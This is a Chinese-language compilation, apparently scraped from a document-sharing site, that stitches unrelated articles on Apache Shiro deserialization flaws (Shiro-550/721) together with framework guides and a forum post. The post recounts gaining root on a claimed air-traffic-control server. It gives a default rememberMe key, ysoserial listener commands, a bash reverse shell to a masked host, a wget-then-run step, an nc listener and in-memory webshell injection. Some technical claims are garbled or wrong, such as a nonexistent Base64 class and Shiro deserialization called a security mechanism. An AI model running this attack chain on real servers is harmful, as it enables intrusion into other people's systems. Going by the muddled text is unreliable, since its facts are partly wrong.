Apache Shiro反序列化远程代码执行-其他利用姿势
- 格式:pdf
- 大小:1.10 MB
- 文档页数:8
ApacheShiro反序列化漏洞(Shiro-550CVE-2016-4437)0x00 漏洞描述Apache Shiro是⼀款开源安全框架,提供⾝份验证、授权、密码学和会话管理。
Shiro框架直观、易⽤,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的⽤户信息序列化后存储在名为remember-me的Cookie中。
攻击者可以使⽤Shiro的默认密钥伪造⽤户Cookie,触发Java反序列化漏洞,进⽽在⽬标机器上执⾏任意命令只要rememberMe的AES加密密钥泄露,⽆论shiro是什么版本都会导致反序列化漏洞。
0x01 影响版本Apache Shiro <= 1.2.40x02 漏洞原理Apache Shiro框架提供了记住我的功能(RememberMe),关闭了浏览器下次再打开时还是能记住你是谁,下次访问时⽆需再登录即可访问。
⽤户登陆成功后会⽣成经过加密并编码的cookie。
Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使⽤了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。
然⽽AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞在服务端接收cookie值时,按照如下步骤来解析处理:1、检索RememberMe cookie 的值2、Base 64解码3、使⽤AES解密(加密密钥硬编码)4、进⾏反序列化操作(未作过滤处理)但是,AES加密的密钥Key被硬编码在代码⾥,意味着每个⼈通过源代码都能拿到AES加密的密钥。
因此,攻击者构造⼀个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。
Shiro将rememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。
ApacheShiro系列漏洞利用以及实战总结在使用 Apache Shiro 进行开发时,可能会出现一些漏洞,这些漏洞可能会被攻击者利用来绕过认证、越权访问、执行任意代码等。
下面是一些常见的 Apache Shiro 漏洞以及相应的利用方式。
1. Apache Shiro 反序列化漏洞这是 Apache Shiro 最常见的漏洞之一,攻击者可以通过构造恶意的序列化对象来执行任意代码。
利用这个漏洞的一种方式是构造一个带有恶意代码的序列化对象,并将其提交到 Apache Shiro 的身份认证接口,当应用程序尝试对该对象进行反序列化时,恶意代码会被执行。
2. Apache Shiro 权限绕过漏洞在 Apache Shiro 中,权限是通过权限字符串进行管理的,每个权限都有一个唯一的标识符。
攻击者可以通过修改请求参数的方式来绕过权限检查,例如在 URL 或请求头中添加一个不存在的权限字符串,从而获取未授权的资源。
3. Apache Shiro 会话固定漏洞Apache Shiro 使用会话管理来跟踪用户的状态和身份。
攻击者可以通过固定会话ID的方式来劫持用户的会话,从而冒充用户进行非法操作。
这可以通过将固定的会话ID设置为Cookie或URL参数的方式实现。
以上是一些常见的 Apache Shiro 漏洞和对应的利用方式。
为了保护应用程序免受这些漏洞的影响,可以采取以下措施:1. 及时更新 Apache Shiro 版本2.序列化对象的安全性处理确保只接受可信的序列化对象,并限制反序列化操作的范围。
可以使用一些安全的序列化库,如 Java 6+ 内置的 `java.util.util.Base64`。
同时,对于接收到的序列化对象,需要进行严格的输入验证和过滤。
3.严格验证权限对于用户的请求,需要进行严格的权限验证,确保只有具备相应权限的用户才能进行对应操作。
可以在请求处理器中添加权限验证的逻辑,拒绝未授权的操作。
ApacheShiro的作用和使用方式Apache Shiro的作用和使用方式Apache Shiro是一个功能强大且易于使用的Java安全框架,旨在为应用程序提供身份验证、授权、加密和会话管理等安全功能。
本文将介绍Apache Shiro的作用以及使用方式,并帮助读者更好地理解和应用该框架。
作用:1. 身份验证(Authentication):Apache Shiro提供了多种身份验证机制,包括基于表单的身份验证、基于LDAP的身份验证和基于数据库的身份验证等。
通过使用Shiro的身份验证功能,应用程序可以验证用户的身份,并确保只有经过身份验证的用户才能访问受保护的资源。
2. 授权(Authorization):Apache Shiro支持基于角色和权限的访问控制。
通过定义角色和权限,应用程序可以根据用户的身份和权限限制其对资源的访问。
Shiro还提供了基于注解的授权功能,可以方便地在代码中标注需要授权的方法或类。
3. 加密(Cryptography):Apache Shiro提供了密码加密和解密的功能,可以帮助应用程序保护用户的密码和敏感信息。
Shiro支持常用的加密算法,如MD5、SHA和AES等,开发者可以根据需求选择合适的加密方式。
4. 会话管理(Session Management):Apache Shiro可以有效地管理用户会话,包括会话的创建、维护和销毁。
Shiro支持将会话存储在内存中、数据库中或持久化到文件系统中,并且提供了集群会话管理的解决方案,可用于多台服务器的分布式应用程序。
使用方式:1. 引入依赖:在项目的构建文件中,添加Apache Shiro的依赖项。
如果使用Maven进行项目管理,可以在pom.xml文件中添加以下依赖:```xml<dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.7.1</version></dependency>```2. 配置文件:创建一个名为shiro.ini的配置文件,其中包含了应用程序需要的安全配置信息,如身份验证器、授权器和加密器等。
ApacheShiro反序列化漏洞(Shiro-721CVE-2016-4437)0x00 漏洞介绍Apache Shiro 存在⾼危代码执⾏漏洞。
该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,⽤户可通过Padding Oracle 加密⽣成的攻击代码来构造恶意的rememberMe字段,并重新请求⽹站,进⾏反序列化攻击,最终导致任意代码执⾏。
0x01 影响版本Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1版本。
0x02 漏洞指纹1.set-Cookie: rememberMe=deleteMe2.URL中有shiro字样3.有⼀些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可0x03 利⽤技巧1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进⾏利⽤, 看起来不是很好利⽤但实际上有⼀些⽹站是开放注册的, ⽽且这个洞不需要知道服务端密钥所以后续的利⽤还是可以同Shiro-550⼀样利⽤, ⽽且这⾥是AES加密的, ⾃带过WAF属性;2.如果攻击没有⽣效, 可以试⼀下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。
0x04 漏洞原理由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,⽤户可通过Padding Oracle 加密⽣成的攻击代码来构造恶意的rememberMe字段,并重新请求⽹站,进⾏反序列化攻击,最终导致任意代码执⾏。
0x04 环境搭建1.利⽤docker搭建环境⼀:root@backlion-virtual-machine:/opt# docker pull vulfocus/shiro-cve_2016_4437root@backlion-virtual-machine:/opt#docker psroot@backlion-virtual-machine:/opt#docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.1.14 be60cf0b77042.利⽤dokcer 搭建环境⼆:复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8git下载shiro-720到本地环境git clone对shiro-720进⾏编译cd Shiro-721/Dockerdocker build -t shiro-721 .启动dokcer并将端⼝8080映射到主机端⼝8080上docker run -p 8080:8080 -d shiro-721查看是否搭建成功docker ps3.通过⾃⾏编译1.4.1war 包放⼊tomcat容器中运⾏安装mavenwgettar zxvf apache-maven-3.6.3-bin.tar.gz -C /usr/localvi /etc/profileexport MAVEN_HOME=/usr/local/apache-maven-3.6.3export PATH=$MAVEN_HOME/bin:$PATHsource /etc/profilemvn -vvim /usr/local/apache-maven-3.6.3/conf/settings.xml找到mirrors节点添加阿⾥镜像库地址:<mirrors><mirror><id>alimaven</id><name>aliyun maven</name><url>/nexus/content/groups/public/</url><mirrorOf>central</mirrorOf></mirror></mirrors>可从 Apache Shiro Gtihub 官⽅仓库⾃⾏下载漏洞影响版本(https:///apache/shiro),使⽤ Apache Maven(软件项⽬管理及⾃动构建⼯具) 编译构建⽣成 war Java 应⽤程序包。
SpringBoot系列安全框架ApacheShiro基本功能Apache Shiro是一个强大而灵活的Java安全框架,可以帮助我们简化应用程序的身份验证,授权,密码管理和会话管理等安全功能。
在Spring Boot系列中,集成Apache Shiro可以为我们的应用程序提供一种简单而高效的安全解决方案。
Apache Shiro的基本功能主要包括身份验证和授权。
身份验证包括验证用户的凭据,例如用户名和密码,以确保他们有权访问应用程序。
授权则是确定用户是否有权执行特定的操作或访问特定的资源。
为了集成Apache Shiro,我们需要在项目的pom.xml文件中添加相关依赖,例如:```<dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-spring-boot-web-starter</artifactId><version>1.7.1</version></dependency>```一旦依赖添加完成,我们就可以使用Apache Shiro的注解来保护我们的应用程序。
首先,我们需要配置一个Realm来使Apache Shiro知道从哪里获取用户和角色信息。
我们可以创建一个自定义Realm类并实现Shiro提供的接口来完成此操作。
例如,我们可以创建一个名为CustomRealm的类来获取用户信息:```public class CustomRealm extends AuthorizingRealmprotected AuthorizationInfodoGetAuthorizationInfo(PrincipalCollection principals) //授权操作}protected AuthenticationInfodoGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException//验证操作}```在doGetAuthorizationInfo方法中,我们可以从数据库或其他数据源获取用户的角色和权限信息,并将其添加到AuthorizationInfo对象中返回。
Shiro反序列化漏洞利⽤汇总(Shiro-550+Shiro-721)Apache Shiro是⼀个强⼤易⽤的Java安全框架,提供了认证、授权、加密和会话管理等功能。
Shiro框架直观、易⽤,同时也能提供健壮的安全性。
⽂章⽬录:1、Shiro rememberMe反序列化漏洞(Shiro-550)1.1 漏洞原理1.2 影响版本1.3 漏洞特征1.4 漏洞利⽤1.4.1 利⽤⽅式⼀1.4.2 利⽤⽅式⼆2、Shiro Padding Oracle Attack(Shiro-721)2.1 漏洞原理2.2 影响版本2.3 漏洞利⽤3、⼀键⾃动化漏洞利⽤3.1 Shiro-5503.2 Shiro-7211、Shiro rememberMe反序列化漏洞(Shiro-550)1.1 漏洞原理Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过加密并编码的cookie。
在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产⽣的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值在整个漏洞利⽤过程中,⽐较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是⼗分的简单。
1.2 影响版本:Apache Shiro < 1.2.41.3 特征判断:返回包中包含rememberMe=deleteMe字段。
1.4 漏洞利⽤1.4.1 环境搭建获取docker镜像docker pull medicean/vulapps:s_shiro_1启动docker镜像:docker run -d -p 8080:8080 medicean/vulapps:s_shiro_11.4.2 ⼯具准备1、maven配置sudo wget https:///apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gztar -zxvf apache-maven-3.6.3-bin.tar.gzsudo mv apache-maven-3.6.3 /usr/local/maven3在/etc/profile末尾添加maven环境变量:export M2_HOME=/usr/local/maven3export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/binsource /etc/profile2、下载ysoserial并打包git clone https:///frohoff/ysoserial.gitcd ysoserialmvn package -D skipTests⽣成的⼯具在ysoserial/target⽂件中。
shiro反序列化方法对于Java中的Shiro反序列化方法,首先我们需要理解Shiro是一个用于身份验证、授权、加密、会话管理等的框架,它提供了一种简单易用的方式来保护应用程序的安全性。
在Shiro中,反序列化是指将对象从其序列化的状态转换回原始状态的过程。
在Shiro中,反序列化通常用于从存储中读取已序列化的用户身份信息或权限信息。
在Shiro中,反序列化通常涉及到Subject对象、Session对象或其他与安全相关的对象。
要进行反序列化,我们需要使用相应的反序列化方法来将已序列化的对象转换为可用的Java对象。
一般来说,可以使用ObjectInputStream类来实现反序列化操作。
例如,可以通过以下代码来反序列化一个已经序列化的对象:java.FileInputStream fileIn = newFileInputStream("path_to_serialized_file");ObjectInputStream in = new ObjectInputStream(fileIn);Object obj = in.readObject();in.close();fileIn.close();在Shiro中,如果我们需要从存储中读取已序列化的Subject对象或Session对象,可以使用类似的方法来进行反序列化操作。
然后我们可以将反序列化后的对象用于身份验证、授权或会话管理等操作。
需要注意的是,在进行反序列化操作时,我们需要确保存储中的序列化数据是可信的,以防止安全漏洞。
因此,在Shiro中进行反序列化操作时,需要谨慎处理序列化数据,以确保系统的安全性。
总之,Shiro中的反序列化方法通常涉及到使用ObjectInputStream类来将已序列化的对象转换为可用的Java对象,需要注意数据安全性,以防止安全漏洞的发生。
shiro反序列化的形成原因、利用链及攻击成功的原理。
Shiro反序列化漏洞形成的原因:
Apache Shiro是一款Java安全验证框架,用于简化身份验证、授权和安全管理。
Apache Shiro使用Java序列化机制来传递用户凭据,这样它可以确保用户凭据安全传输。
然而,这种机制也为攻击者提供了一个攻击后门,可以通过构造恶意序列化数据,进行反序列化攻击。
利用链:
攻击者可以通过构造恶意序列化数据,利用反序列化攻击Apache Shiro的Web应用程序。
攻击者可以利用反序列化攻击来访问Web应用程序中的服务器资源,允许攻击者窃取/修改服务器上的数据、运行服务器上的恶意代码等。
攻击成功的原理:
反序列化攻击成功的原理是在应用程序中利用反序列化攻击,可以让攻击者发送恶意代码,然后利用应用程序的反序列化机制,将此代码反序列化为Java对象,然后运行。
shiro反序列化原理
Shiro反序列化是Apache Shiro框架中的一种安全机制,用于防止网络攻击者在反序列化过程中窃取用户的敏感信息。
Shiro反序列化的目的是保护反序列化过程中的安全和隐私,以避免攻击者利用可能可以破坏系统的敏感信息进行攻击。
Shiro反序列化的实现方式主要有两种:一种是使用Java的安全性API(如Java Cryptography Extension)来实现;另一种是使用Shiro 的安全性策略,来确保反序列化过程中的安全性和隐私保护。
Shiro反序列化的实现采用Java Cryptography Extension(JCE)API,这是一种用于实现加密和解密的标准API。
这种方式使得在反序列化过程中,只有拥有可靠的密钥才能解密数据,从而保护数据的安全性和隐私。
Shiro还可以使用它自己的安全性策略来实现反序列化,这种方式支持对象的访问控制和安全性策略,以确保反序列化过程中的安全性和隐私保护。
Shiro的安全性策略可以防止攻击者在反序列化时获取他们没有授权访问的数据,从而保护数据的安全性和隐私。
Shiro反序列化还可以使用白名单,以确保反序列化过程中只有符合白名单规则的类才能被反序列化。
这样可以有效的防止攻击者利用恶意类来破坏系统,以及窃取用户的敏感信息。
Shiro反序列化是Apache Shiro框架中的一种安全机制,旨在防止攻击者利用反序列化过程中可能可以破坏系统的敏感信息进行攻击,保护反序列化过程中的安全和隐私。
Shiro反序列化主要使用JCE API和Shiro的安全性策略,以及白名单。
有效的使用这些技术,可以有效的保护系统的安全性和隐私,确保反序列化过程中的安全性和隐私保护。
shiro反序列化漏洞的解决方法-回复Shiro是Java开发中非常常用的一个安全框架,用于实现身份认证和授权功能。
然而,Shiro在处理反序列化时存在漏洞,可能引发严重的安全问题。
本文将介绍Shiro反序列化漏洞的背景以及解决方法。
一、Shiro反序列化漏洞的背景Shiro在处理反序列化时使用了Java原生的序列化机制,这是一种将对象转换为字节流以便于存储和传输的机制。
然而,Java原生的序列化机制存在一些安全风险,其中包括远程代码执行漏洞。
攻击者可以通过构造恶意的序列化数据来执行任意代码,从而实现攻击目标。
Shiro反序列化漏洞就是在进行身份认证和授权过程中,攻击者利用这一漏洞来执行恶意代码。
一旦攻击成功,攻击者可以获取系统权限,获取敏感数据,或者绕过访问控制等。
二、Shiro反序列化漏洞的解决方法为了解决Shiro反序列化漏洞,我们可以采取以下一系列措施:1. 升级Shiro版本Shiro团队已经意识到这个问题,并在较新的版本中修复了该漏洞。
因此,升级到最新版的Shiro是解决该问题的最有效方法之一。
升级Shiro版本的过程中,需要先备份原有的配置文件和代码,然后将Shiro的jar包替换为最新版,并进行相应的配置更新。
2. 使用安全的序列化机制Java的原生序列化机制存在一些安全风险,因此我们可以考虑使用更安全的序列化机制来替代。
一种常见的选择是使用JSON或XML等文本格式进行序列化和反序列化。
这些文本格式的序列化机制相对较安全,没有像Java原生序列化机制那样容易受到攻击。
3. 对反序列化数据进行过滤和校验在反序列化数据之前,我们应该对数据进行过滤和校验,确保数据的完整性和合法性。
可以使用输入验证和过滤技术,比如限制输入的字符类型和长度、检查输入数据的格式等。
在对反序列化数据进行校验时,可以使用签名或散列等方法来验证数据是否被篡改。
4. 使用安全的配置参数在使用Shiro进行配置时,我们应该谨慎选择参数,并避免使用不安全的配置。
一、shiro反序列化漏洞概述shiro是一个用于实现身份认证和授权的Java安全框架,其使用广泛且功能强大。
然而,近年来发现了shiro存在的反序列化漏洞,该漏洞可能会被恶意攻击者利用,导致严重的安全问题。
了解shiro反序列化漏洞的解决方法对于保障系统安全至关重要。
二、shiro反序列化漏洞的原理1. shiro的反序列化漏洞是由于其在处理身份认证和授权时使用了Java的序列化功能。
当恶意攻击者向系统提交恶意构造的序列化对象时,shiro框架可能解析该对象并执行其中的恶意代码,从而导致安全隐患。
2. 攻击者可以利用shiro反序列化漏洞执行远程代码、绕过身份认证、获取系统权限等恶意行为,这对系统和数据的安全造成了严重威胁。
三、shiro反序列化漏洞的解决方法针对shiro反序列化漏洞,可以采取以下解决方法来有效防范和修复漏洞:1. 升级shiro版本shiro官方针对反序列化漏洞问题发布了修复补丁,用户可以及时升级到最新版本的shiro框架,以确保漏洞得到修复。
在升级过程中,需要注意与现有系统的兼容性和稳定性,确保系统正常运行。
2. 配置安全策略在shiro的配置中,可以通过设置安全策略来限制系统对序列化对象的处理权限,避免恶意对象的解析和执行。
可以限制特定包、类、方法等的序列化和反序列化操作,从而有效减少安全风险。
3. 输入验证和过滤在系统接收用户输入时,需要进行严格的输入验证和过滤,确保用户输入的数据符合预期的格式和范围。
避免恶意构造的序列化对象被系统接受和执行。
4. 使用安全的序列化方式在设计系统时,尽量避免使用Java序列化功能来处理用户数据和敏感信息。
可以考虑使用JSON、XML等安全的序列化方式,从而避免反序列化漏洞的风险。
5. 加强安全意识培训对开发人员和系统管理员进行安全意识培训,增强其对反序列化漏洞和其他安全问题的认识和防范意识。
通过定期培训和演练,提升团队在安全方面的综合素质。
apache shiro讲解Apache Shiro讲解- 强大而灵活的身份验证和授权框架[Apache Shiro讲解] 中括号内的内容是我们要讨论的主题,即Apache Shiro。
本文将逐步回答以下问题:什么是Apache Shiro?为什么选择使用Apache Shiro?Apache Shiro有哪些主要功能和特点?如何在项目中集成和使用Apache Shiro?一、什么是Apache Shiro?Apache Shiro是一个强大且灵活的开源Java安全框架,提供了身份验证、授权、加密和会话管理等功能。
它可以轻松地集成到任何Java应用程序中,并且易于使用和扩展。
二、为什么选择使用Apache Shiro?1. 安全性:Apache Shiro提供了多种身份验证和授权机制,可以保护应用程序中的敏感数据和功能。
它支持基于角色和权限的访问控制,以及其他可定制的身份验证方法(如单点登录)。
2. 灵活性:Apache Shiro允许开发人员使用多种方式进行身份验证和授权,包括用户名/密码、令牌、OpenID等。
此外,它还支持访问控制列表(ACL)和基于URL的访问控制,使开发人员能够灵活地定义和管理权限。
3. 易于使用:Apache Shiro提供了简单直观的API和易于理解的概念,使开发人员能够快速集成和使用安全功能。
它还提供了丰富的文档和示例,帮助开发人员更好地理解和使用框架。
4. 社区支持:Apache Shiro是一个活跃的开源项目,有一个庞大的开发者社区支持和贡献。
这意味着您可以获得来自其他开发者的帮助和建议,也可以共享您的经验和发现。
三、Apache Shiro的主要功能和特点1. 身份验证:Apache Shiro支持多种身份验证方法,包括用户名/密码、令牌、PKI等。
您可以根据应用程序的需求选择适合的身份验证方式,并轻松地扩展和定制身份验证逻辑。
2. 授权:Apache Shiro提供了基于角色和权限的访问控制机制,可以通过简单的配置和注解来定义和管理角色和权限。
shiro 反序列化漏洞攻击原理(一)Shiro反序列化漏洞攻击原理什么是Shiro反序列化漏洞?Shiro是一个用于Java应用程序身份验证和授权的安全框架。
然而,Shiro在处理序列化时存在一个安全漏洞,即Shiro反序列化漏洞。
Shiro反序列化漏洞的原理1.反序列化是指将对象从字节流转换为内存中的对象。
Shiro在处理用户会话时,将会话对象进行序列化和反序列化操作。
2.攻击者可以构造一个恶意的序列化对象,并通过网络发送给目标应用程序。
3.目标应用程序在接收到序列化对象时,会自动进行反序列化操作,将恶意对象还原为内存中的对象。
4.恶意对象可以在反序列化的过程中触发漏洞,执行恶意代码或者导致其他安全问题。
Shiro反序列化漏洞的影响Shiro反序列化漏洞可能导致以下安全问题:•远程代码执行:攻击者可以通过恶意序列化对象执行任意的Java 代码。
•绕过身份验证和授权:攻击者可以伪造有效的会话对象,绕过Shiro的身份验证和授权机制。
Shiro反序列化漏洞的防御措施要防止Shiro反序列化漏洞的利用,可以采取以下措施:•更新到最新版本:及时更新Shiro框架到最新版本,修复已知的漏洞。
•对用户输入进行验证和过滤:在接收到用户输入时,进行严格的验证和过滤,避免恶意序列化对象的注入。
•限制反序列化操作:限制反序列化操作的范围,只允许在受信任的环境中进行反序列化操作。
结论Shiro反序列化漏洞是由于Shiro框架在处理用户会话时的不当反序列化操作导致的安全漏洞。
了解该漏洞的原理和影响,采取相应的防御措施,可以帮助我们更好地保护应用程序的安全性。
请确保在使用Shiro框架时遵循最佳的安全实践,保持框架和依赖库的更新,并对用户输入进行验证和过滤,以减少潜在的攻击风险。
apache shiro rememberme反序列化规则-回复Apache Shiro是一个功能强大且易于使用的Java安全框架,用于处理身份验证、授权、密码学和会话管理等方面的安全问题。
其中,Shiro的RememberMe功能允许用户在下次访问网站时无需重新输入用户名和密码即可登录。
这一功能的实现依赖于RememberMe Cookie的Java对象的反序列化过程,本文将详细介绍Apache Shiro RememberMe反序列化规则的相关内容。
一、什么是RememberMe功能?RememberMe功能是一种持久登录的解决方案,允许用户不需要再次输入用户名和密码即可登录网站。
当用户登录成功并选择RememberMe选项时,Shiro会生成一个RememberMe Cookie,并将该Cookie存储在用户的浏览器中。
当用户再次访问网站时,Shiro会自动解析RememberMe Cookie,并使用保存在Cookie中的用户信息进行身份验证。
二、RememberMe Cookie是如何进行反序列化的?1. Cookie的生成当用户登录成功并选择RememberMe选项时,Shiro会调用`SecurityUtils.getSubject().rememberMe()`方法生成RememberMe Cookie。
生成的Cookie包含两个重要的信息:用户名(username)和密码的哈希值(hash)。
2. Cookie的加密与签名Shiro对RememberMe Cookie的敏感信息进行加密和签名,以确保Cookie的安全性。
首先,Shiro使用AES加密算法对用户名和密码的哈希值进行加密,并将结果存储在Cookie中。
其次,Shiro使用HmacSHA1算法对Cookie的内容进行签名,并将签名结果存储在Cookie中。
这样,即使Cookie被窃取,攻击者也无法解密和篡改其中的内容。
apache shiro rememberme反序列化规则Apache Shiro是一个强大的、灵活的安全框架,它允许认证、授权、加密和会话管理。
在Shiro中,"RememberMe"功能允许用户在关闭浏览器后仍然保持登录状态。
然而,如果未正确配置"RememberMe",则可能会出现安全问题,如"反序列化攻击"。
这是因为"RememberMe"功能通常涉及到将用户会话数据序列化并存储在客户端(如cookie),然后在用户下次访问时进行反序列化。
如果攻击者能够修改存储在客户端的数据,他们可能会进行恶意操作,例如将一个已登录的用户会话转移到另一个用户。
为了防止这种攻击,你需要确保以下几点:1. 使用安全的序列化机制:默认情况下,Shiro使用Java的序列化机制。
然而,Java序列化不是安全的,因为它不验证发送方的身份。
为了安全起见,你应该使用一个安全的序列化机制,如JSON或加密的二进制格式。
2. 使用安全的加密:为了确保存储的数据在传输过程中不被篡改,你应该使用安全的加密算法对数据进行加密。
3. 验证数据的完整性:在反序列化数据之前,你应该验证数据的完整性。
如果数据被篡改,你应该拒绝反序列化并使用户登出。
4. 使用HTTP Only Cookies:为了防止通过JavaScript访问存储在cookie中的数据,你应该设置cookie的HTTP Only属性。
这样,只有服务器可以访问cookie 数据,从而防止了攻击者通过客户端脚本修改cookie。
5. 确保密钥的安全性:对于任何加密或哈希操作,你都应该使用强密钥。
如果攻击者获得了密钥,他们可能会解密或伪造数据。
6. 限制RememberMe的会话超时时间:不要让RememberMe会话无限期地持续下去。
设置一个合理的超时时间可以减少长时间未活动的会话被劫持的风险。
shiro反序列化的形成原因利用链Shiro是一个用于身份验证、授权和会话管理的开源Java安全框架。
在Shiro中,对象的序列化是指将一个Java对象转换为字节序列的过程,而反序列化则是指将字节序列转换回Java对象的过程。
Shiro支持使用默认的JDK序列化和反序列化机制来管理对象的序列化和反序列化过程。
然而,由于JDK序列化的安全性被广泛质疑,Shiro也提供了自定义的序列化和反序列化机制,以增强安全性并提供更多的灵活性。
Shiro反序列化的形成原因主要有以下几个方面:1. 跨会话持久化:Shiro的默认行为是将一个会话的所有对象保存在一个会话中。
只有在会话结束时,Shiro才会将会话中的对象进行序列化并存储到持久化存储介质(如数据库或文件系统)中。
当用户下次访问时,Shiro会通过反序列化将先前的会话对象还原回来,以便恢复用户的状态。
2. 分布式环境支持:在分布式环境中,不同的节点可能需要共享一些会话数据。
为了实现这一点,Shiro需要将会话对象序列化并在不同节点之间进行传输。
反序列化则是将对象从字节序列转换回来,以便在节点上重新使用。
3. 缓存支持:Shiro支持将会话数据存储在缓存中,以提高系统性能。
为了将会话对象存储在缓存中,Shiro需要将对象序列化为字节序列。
当从缓存中获取数据时,Shiro将通过反序列化将字节序列转换回对象。
利用链是一种利用Shiro反序列化漏洞的攻击技术。
攻击者可以构造恶意的序列化数据,通过在对象的字段或属性中插入攻击代码,以达到执行任意代码的目的。
攻击者通常会利用Shiro反序列化漏洞来执行以下攻击行为:1. 任意代码执行:攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意Java代码。
这可能导致系统被完全控制,从而造成数据泄露、服务器崩溃等安全问题。
2. 提权攻击:攻击者可以利用Shiro反序列化漏洞获得目标服务器的高权限访问,从而进一步攻击其他的系统或服务。
浅谈shiro反序列化漏洞环境搭建kali下利⽤docker搭建shiro环境1、kali部署docker环境获取docker镜像docker pull medicean/vulapps:s_shiro_12、重启dockersystemctl restart docker3、启动docker镜像docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1将localhost换成实际IP地址访问Shiro反序列化漏洞利⽤Apache Shiro是⼀个强⼤易⽤的Java安全框架,提供了认证、授权、加密和会话管理等功能。
Shiro框架直观、易⽤,同时也能提供健壮的安全性。
Shiro remrmberMe反序列化漏洞(Shiro-550)1、漏洞原理Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过加密并编码的cookie。
在服务端对rememberMe的cookie值,先base64编码再进⾏AES解密再反序列化,⽽⽤户传⼊的值可以被⽤户控制,就导致了反序列化RCE漏洞。
漏洞利⽤的过程如下:命令>序列化>AES加密>base64编码>RememberMe Cookie值>base64解码>AES解密>反序列化>命令在整个漏洞利⽤的过程中,重点在于AES加密的密钥,构造Payload的重点在于猜测AES加密使⽤的密钥。
2、影响的版本Apache Shiro<1.2.43、特征判断返回包中set-cookie中包含RememberMe=deleteMe字段如果返回包⾥不存在RememberMe=deleteMe字段,可尝试在请求包中cookie字段添加RememberMe=14、漏洞利⽤⼯具下载https:///j1anFen/shiro_attack/releases/tag/2.2可能出现java版本过⾼导致报错⽆法运⾏,可使⽤下列命令调整java版本update-alternatives --config java(1)漏洞利⽤⼯具启动java -jar shiro_attack-2.2.jar输⼊⽬标地址点击爆破密钥,检查是否存在默认的key发现存在shiro框架,key值为 kPH+bIxk5D2deZiIxcaaaA==点击爆破利⽤链及回显获取到可以进⾏攻击的利⽤链和回显⽅式发现构造链:CommonsCollections2 回显⽅式: TomcatEcho执⾏命令尝试打⼀个内存马抓取⼀个静态⽂件的路径(该路径需要可以访问的到),就是你了,/favicon.ico 注⼊成功哥斯拉启动执⾏下命令。
12下一页
返回列表
回复发帖
帖子2 积分1 TCV0 TuBi1 坛龄84天
1#
跳转到»
倒序看帖
打印字体大小:
T00LS » 渗透测试文章(Security Articles) » 投稿文章:通过Shiro反序列化拿下某空管局服务器root权限
steven 新手上路
发表于
所需阅读权限 20
[【原创】]投稿文章:通过Shiro反序列化拿下某空管局服务器root 权限
xuehei|提醒短消息论坛任务|个人中心退出
首页版块搜索银行T00ls工具帮助
目标站返回rememberMe的cookie字段或者在请求包中含有rememberMe的cookie字段的时候,说明该目标站是用了shiro框架漏洞利用
①猜解密钥
前文中提到的硬编码的密钥,在实际生产环境中不同的项目可能会存在不同的密钥(key),从github上搜集了部分常用的key用于猜解,这里用到dnslog来判断是否成功.
可以看到当Key为kPH+bIxk5D2deZiIxcaaaA==时,服务器收到了目标站的请求,这里我们可以确定该站的key为
kPH+bIxk5D2deZiIxcaaaA==
②命令执行
这里我们利用ysoserial工具进行漏洞利用.
在服务器上执行
java -cp ysoserial-master-SNAPSHOT.jar
ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'ping -c 1 sl0437.ceye.io'
可以看到已经接收到了目标站的请求,并且payload发送给目标站以后成功执行了ping命令.说明目标站CommonsCollections1存在反序列化漏洞
③反弹shell
在实战中发现,虽然可以成功执行命令了,但是由于runtime等环境因素并不能直接反弹shell,这个可以采用先下载后运行的方式.
打赏拍砖收藏分享00
支持反对
/bin/bash -i >& /dev/tcp/*.*.*.*/2019 0>&1
将反弹shell 的命令写成txt 然后放在web 目录下,
然后重新步骤②,这里修改一下执行的命令即可
java -cp ysoserial-master-SNAPSHOT .jar
ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'wget http://*.*.*.*:8080/1.txt'
再依次在服务器上执行
java -cp ysoserial-master-SNAPSHOT .jar
ysoserial.exploit.JRMPListener 2020 CommonsCollections1
'sh 1.txt'
nc -lvv 2019
再次访问后成功获取到shell
本主题由t00ls 管理团队01 于 2019-8-28 23:29 移动
0顶0
踩
回复引用使用道具帖子679
积分359 TCV 14
TuBi 23
坛龄2930天
TOP1回复引用回顶部帖子333
积分266
TCV 0
TuBi 41
坛龄1146天
2#回复引用使用道具TOP 3#
